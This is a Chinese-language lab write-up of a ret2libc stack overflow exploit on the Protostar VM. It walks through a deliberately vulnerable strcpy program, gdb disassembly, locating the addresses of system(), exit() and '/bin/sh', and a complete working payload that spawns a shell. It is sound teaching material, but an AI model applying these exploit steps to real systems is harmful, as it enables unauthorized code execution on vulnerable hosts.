在protostar的stack6练习中，提到了ret2libc，所以这里先对这种攻击手段做一个介绍，学习来源https://www.shellblade.net/docs/ret2libc.pdf，仍旧是在protostar的虚拟机上进行的实验。
背景
在stack4的练习中，我们用程序中存在的win函数起始地址覆盖了main函数的返回地址。在实际的攻击中，攻击者往往会把自己的shellcode实现导入栈（本地缓冲变量或者环境变量）或堆中（动态分配变量），再将返回地址覆盖为shellcode的地址。为了应对这种攻击手段，出现了一种机制：W^X，限制了内存区域的操作权限为可写或者可执行，在这种情况下，攻击者无法使用自己的shellcode，ret2libc的攻击手法应运而生。
在ret2libc中，攻击者不再使用自己的shellcode，而是把返回地址指向了C标准函数库中的system()函数（当然也可以指向其他函数，但是有system()这个强大的函数…），system()函数接受一个字符串参数，该参数指定要执行的程序的路径和名称，这样就可以实现任意程序的执行。
栈帧布局
这个话题在stack4中已经进行过简单的讨论了，这里再做一次总结。
| 高地址 | caller的本地变量 |
| callee的参数 | |
| callee的返回地址 | |
| EBP | caller的EBP |
| ESP | callee的本地变量 |
| 低地址 |
所以当我们在callee的栈帧中时，可以通过操作EBP获得参数和本地变量（当然也可以用ESP）。
| Argument | Offset | Variable | Offset |
| Argument 1 | EBP + 8 | Variable 1 | EBP - 4 |
| Argument 2 | EBP + 12 | Variable 2 | EBP - 8 |
| Argument 3 | EBP + 16 | Variable 3 | EBP - 12 |
| Argument N | EBP + 8 + 4*(N-1) | Variable N | EBP - 4N |
实验
环境
$ cat /proc/version Linux version 2.6.32-5-686 (Debian 2.6.32-38) (ben@decadent.org.uk) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Mon Oct 3 04:15:24 UTC 2011
存在bug的代码
1 #include <stdio.h> 2 #include <string.h> 3 void bug(char *arg1) 4 { 5 char name[128]; 6 strcpy(name, arg1); 7 printf("Hello %s\n", name); 8 } 9 int main(int argc, char **argv) 10 { 11 if (argc < 2) 12 { 13 printf("Usage: %s <your name>\n", argv[0]); 14 return 0; 15 } 16 bug(argv[1]); 17 return 0; 18 }
可以看到在bug函数中，直接使用strcpy将arg1的值赋给大小为128字节的name变量，这里会发生栈溢出。
步骤
1. 找到返回地址的位置
$ gcc -fno-stack-protector bug.c -o bug
获得程序的可执行文件bug，接下来查看程序的反汇编结果，从而判断怎么组织payload。
1 $ gdb -q bug 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done. 3 (gdb) disas bug 4 Dump of assembler code for function bug: 5 0x080483f4 <bug+0>: push %ebp 6 0x080483f5 <bug+1>: mov %esp,%ebp 7 0x080483f7 <bug+3>: sub $0x98,%esp 8 0x080483fd <bug+9>: mov 0x8(%ebp),%eax 9 0x08048400 <bug+12>: mov %eax,0x4(%esp) 10 0x08048404 <bug+16>: lea -0x88(%ebp),%eax 11 0x0804840a <bug+22>: mov %eax,(%esp) 12 0x0804840d <bug+25>: call 0x8048320 <strcpy@plt> 13 0x08048412 <bug+30>: mov $0x8048530,%eax 14 0x08048417 <bug+35>: lea -0x88(%ebp),%edx 15 0x0804841d <bug+41>: mov %edx,0x4(%esp) 16 0x08048421 <bug+45>: mov %eax,(%esp) 17 0x08048424 <bug+48>: call 0x8048330 <printf@plt> 18 0x08048429 <bug+53>: leave 19 0x0804842a <bug+54>: ret 20 End of assembler dump. 21 (gdb) q
通过分析反汇编的代码，可以发现name变量位于$ebp-0x88的位置，看一下栈帧布局：
| 高地址 | main的本地变量 | |
| bug的参数char *arg1 | 4字节 | |
| bug的返回地址 | 4字节 | |
| EBP | main的EBP | 4字节 |
| ESP | bug的本地变量buffer | 136字节 |
| 低地址 |
所以如果我们传入的参数长度为136+4+4=144字节，就可以覆盖bug函数的返回地址：
1 $ gdb -q bug 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done 3 (gdb) r `python -c "print 'A'*136+'B'*4+'C'*4"` 4 Starting program: /home/user/bug `python -c "print 'A'*136+'B'*4+'C'*4"` 5 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC 6 7 Program received signal SIGSEGV, Segmentation fault. 8 0x43434343 in ?? () 9 (gdb) q
0x43434343正好是4个'C'的ascii值，说明我们的分析正确。
2. 传入system()函数的参数
要调用system()函数，要提供对应的参数，这里我们使用"/bin/sh"作为参数，所以需要将字符串"/bin/sh"写入内存中。有两种方法：①在传入参数中包含该字符串；②将字符串存入环境变量中。使用第一种方法，字符串"/bin/sh"会保存到bug的栈帧中，由于后续我们会从bug函数返回再调用system()函数，可能会出现覆盖"/bin/sh"的情况，所以使用第二种方法更好。
虽然将"/bin/sh"放入了内存中，它的起始地址又应该放在哪里呢？再次回到栈帧布局上：
① 假设从bug函数返回后进入了system()函数：
| 高地址 | main的本地变量 | |
| bug的参数char *arg1 | ||
| EBP | DUMMY EBP | 原本是system的起始地址，执行了system中的push ebp |
| ESP | system的本地变量 | |
| 低地址 |
② 假设我们已经进入了system()函数的栈帧，同时希望它的参数是"/bin/sh"：
| 高地址 | main的本地变量 |
| system的参数"/bin/sh" | |
| system的返回地址 | |
| EBP | DUMMY EBP |
| ESP | system的本地变量 |
| 低地址 |
③ 对比①②中的两个表，可以获得我们的payload
| 原值 | payload |
| main的本地变量 | "bin/sh"的起始地址 |
| bug的参数char *arg1 | system()的返回地址(exit()的起始地址) |
| bug的返回地址 | system()的起始地址 |
| main的EBP | "B"*4 |
| bug的本地变量 | "A"*136 |
这样我们就可以构造出一个完整的payload了。还有一个小的问题，system()函数的返回地址，这里我们使用exit()函数的起始地址，让程序正常退出。
3. 获得相关地址
首先我们需要把"/bin/sh"写入环境变量，代码：
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 int main(int argc, char **argv) 5 { 6 char *ptr = getenv("EGG"); 7 if (ptr != NULL) 8 { 9 printf("Estimated address: %p\n", ptr); 10 return 0; 11 } 12 printf("Setting up environment...\n"); 13 setenv("EGG", "/bin/sh", 1); 14 execl("/bin/sh", (char *)NULL); 15 }
编译后执行两次，可获得字符串的一个估计地址：
1 $ ./setup 2 Setting up environent... 3 $ ./setup 4 Estimated address: 0xbfffffa9
再获得system()和exit()的地址：
1 $ gdb -q bug 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done. 3 (gdb) break main 4 Breakpoint 1 at 0x804842e 5 (gdb) r 6 Starting program: /home/user/bug 7 8 Breakpoint 1, 0x0804842e in main () 9 (gdb) p system 10 $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> 11 (gdb) p exit 12 $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
最后确定"/bin/sh"的准确地址，这里0xbfffff89是试出来的：
1 (gdb) x/4s 0xbfffff89 2 0xbfffff89: "ELL=/bin/sh" 3 0xbfffff95: "EGG=/bin/sh" 4 0xbfffffa1: "PWD=/home/user" 5 0xbfffffb0: "SSH_CONNECTION=192.168.60.1 57969 192.168.60.131 22"
再加上"EGG="的偏移量，可以获得字符串的起始地址，所以：
1 0xb7ecffb0: system() 2 0xb7ec60c0: exit() 3 0xbfffff99: "/bin/sh"
4. 构造payload
Payload = "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"
注意这里的字节顺序，原因在之前的文章有提过，因为protostar虚拟机是little endian。
5. 攻击
这里还有一个问题，环境变量在gdb和在外界的命令行中的位置还是有一些差异，看一下输出结果：
1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"'` 2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 3 4 sh: n/sh: not found
可以看到"n/sh"是"/bin/sh"的一部分，需要前移3个字节：
1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x96\xff\xff\xbf"'` 2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 3 4 $
以上就实现了一次ret2libc攻击。需要注意的是，在这次攻击以及protostar中的练习都是直接将地址硬编码进行payload中，并没有考虑到ASLR的情况，protostar虚拟机已经关闭了ASLR，所以练习才可以顺利完成。
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
